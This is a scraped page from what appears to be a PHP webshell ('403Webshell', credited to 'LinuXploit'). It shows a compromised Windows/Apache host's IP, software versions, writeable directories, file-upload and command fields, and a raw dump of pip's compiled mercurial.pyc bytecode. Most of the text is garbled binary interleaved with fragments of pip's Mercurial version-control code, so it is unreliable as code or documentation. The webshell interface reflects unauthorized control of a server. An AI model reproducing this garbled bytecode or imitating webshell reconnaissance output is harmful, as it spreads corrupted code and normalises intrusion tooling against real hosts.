403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pip/_internal/vcs/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pip/_internal/vcs/__pycache__/mercurial.cpython-39.pyc
a

X��e��@s�ddlZddlZddlZddlmZmZmZddlmZm	Z	ddl
mZmZddl
mZddlmZddlmZmZmZmZe�e�ZGdd	�d	e�Ze�e�dS)
�N)�List�Optional�Tuple)�
BadCommand�InstallationError)�
HiddenText�display_path)�make_command)�path_to_url)�
RevOptions�VersionControl�(find_path_to_project_root_from_repo_root�vcscseZdZdZdZdZdZeee	ed�dd��Z
eeee
dd	�d
d�Zeeedd�d
d�Zeeedd�dd�Zeeed�dd��Zeeed�dd��Zeeed�dd��Zeeeeed�dd��Zeeeed�dd��Zeeeed��fdd��Z�ZS)�	MercurialZhgz.hg�clone)zhg+filezhg+httpzhg+httpszhg+sshzhg+static-http)�rev�returncCsd|��gS)Nz--rev=�)rrr�?/usr/lib/python3.9/site-packages/pip/_internal/vcs/mercurial.py�get_base_rev_args szMercurial.get_base_rev_argsN)�dest�url�rev_options�	verbosityrcCs�|��}t�d||t|��|dkr*d}n |dkr8d}n|dkrFd}nd}|�td	d
g|�|�|�R��|jtdg|�|���R�|d�dS)
NzCloning hg %s%s to %sr)z--quiet�r�)�	--verbose)rz--debugrz
--noupdate�update��cwd)Z
to_display�logger�infor�run_commandr	�to_args)�selfrrrrZrev_display�flagsrrr�	fetch_new$s&� �zMercurial.fetch_new)rrrrc	
Cs�tj�||jd�}t��}zR|�|�|�dd|j�t	|d��}|�
|�Wd�n1s`0YWn8ttjfy�}zt
�d||�WYd}~n(d}~00tdd|���}|j||d�dS)	NZhgrc�paths�default�wz/Could not switch Mercurial repository to %s: %sr�-qr)�os�path�join�dirname�configparserZRawConfigParser�read�setZsecret�open�write�OSErrorZNoSectionErrorr Zwarningr	r#r")	r$rrrZrepo_configZconfigZconfig_file�exc�cmd_argsrrr�switch<s
,$zMercurial.switchcCs4|jddg|d�tdd|���}|j||d�dS)NZpullr*rr)r"r	r#)r$rrrr6rrrrJszMercurial.update)�locationrcCs4|jddgdd|d���}|�|�r,t|�}|��S)NZ
showconfigz
paths.defaultFT��show_stdout�stdout_onlyr)r"�stripZ_is_local_repositoryr
)�clsr8rrrr�get_remote_urlOs�

zMercurial.get_remote_urlcCs|jddgdd|d���}|S)zW
        Return the repository-local changeset revision number, as an integer.
        �parentsz--template={rev}FTr9�r"r<)r=r8Zcurrent_revisionrrr�get_revision[s�
zMercurial.get_revisioncCs|jddgdd|d���}|S)zh
        Return the changeset identification hash, as a 40-character
        hexadecimal string
        r?z--template={node}FTr9r@)r=r8Zcurrent_rev_hashrrr�get_requirement_revisionhs�
z"Mercurial.get_requirement_revision)r�namercCsdS)z&Always assume the versions don't matchFr)r=rrCrrr�is_commit_id_equalvszMercurial.is_commit_id_equalcCsD|jdgdd|d���}tj�|�s:tj�tj�||��}t||�S)z�
        Return the path to Python project root, relative to the repo root.
        Return None if the project root is in the repo root.
        �rootFTr9)r"r<r+r,�isabs�abspathr-r
)r=r8Z	repo_rootrrr�get_subdirectory{s
�
zMercurial.get_subdirectorycsvt��|�}|r|Sz|jdg|ddddd�}Wn2tyPt�d|�YdStybYdS0tj�	|�
d��S)NrEFT�raise)rr:r;Z
on_returncodeZlog_failed_cmdzIcould not determine if %s is under hg control because hg is not availablez
)�super�get_repository_rootr"rr �debugrr+r,�normpath�rstrip)r=r8�loc�r��	__class__rrrK�s*�
�zMercurial.get_repository_root)�__name__�
__module__�__qualname__rCr.Z	repo_nameZschemes�staticmethod�strrrrr�intr&r7r�classmethodr>rArBr�boolrDrHrK�
__classcell__rrrQrrs.�

r)r/Zloggingr+�typingrrrZpip._internal.exceptionsrrZpip._internal.utils.miscrrZpip._internal.utils.subprocessr	Zpip._internal.utils.urlsr
Z pip._internal.vcs.versioncontrolrrr
rZ	getLoggerrSr r�registerrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit